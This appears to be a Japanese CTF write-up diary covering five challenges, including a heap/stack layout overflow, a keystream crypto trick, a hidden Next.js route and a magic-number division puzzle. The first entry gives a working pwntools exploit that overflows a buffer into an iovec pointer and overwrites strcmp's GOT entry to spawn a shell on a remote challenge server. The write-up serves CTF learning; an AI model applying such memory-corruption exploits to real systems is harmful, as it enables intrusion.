Index

3/22 vuln4vuln

fgets(name, 0x28)name[0x10] から passwd[0x10] を越えて iov.iov_base まで壊せる。

| name[16] | passwd[16] | iov_base(8) | iov_len(8) |
^
fgetsでiov_baseまで書ける。

これと、その後の readv(STDIN_FILENO, &iov, 1) によって 16 byte の任意書き込みが可能。 strcmp@GOTwin() に差し替えれば次の strcmp(passwd, PASSWD) でシェル起動がする。

from pwn import ELF, p64, remote

elf = ELF("./chal")
io = remote("34.170.146.252", 13561)
io.send(b"A" * 0x20 + p64(elf.got["strcmp"])[:7])
io.send(p64(elf.symbols["win"]) + b"B" * 8)
io.sendline(b"cat flag*")
print(io.recvall().decode())

3/23 bloom

鍵バイトが 1..255 に限定されているのがポイント。各位置で ciphertext に一度も出ない値が平文そのものになる。

何度も Encrypted flag: を回収して、各位置の出現集合が 255 種類埋まるまで待てばよい。

seen = [set() for _ in range(flag_len)]
for cipher in many_samples:
    for i, b in enumerate(cipher):
        seen[i].add(b)
flag = bytes(next(iter(set(range(256)) - s)) for s in seen)

3/24 What's Next

Next上でリネームされたpages/secret.js を見つける問題。 route が _buildManifest.js に残っている。

3/25 crypto_666

6 が 666 個連続して含まれる素数を送る問題。 素数密度から見ても十分現実的なので、"6" * 666 の末尾に小さい奇数を適当に足して isPrime を回せば見つかる。

※ 素数判定は多項式時間アルゴリズムが使われる

3/26 Optimized expression

マジックナンバー乗算による最適の問題。 数値でググるとやっていることは各文字ごとの x // 5x % 7 の比較。

参考:32ビット整数の、定数での除算 » 三日坊主

uint64_t y = (x * 3435973837) >> 34;
uint64_t t = (x * 613566757) >> 32;
uint64_t z = x - ((((x - t) >> 1) + t) >> 2) * 7;

if (y != table[i][0] || z != table[i][1]) {
    return 1;
}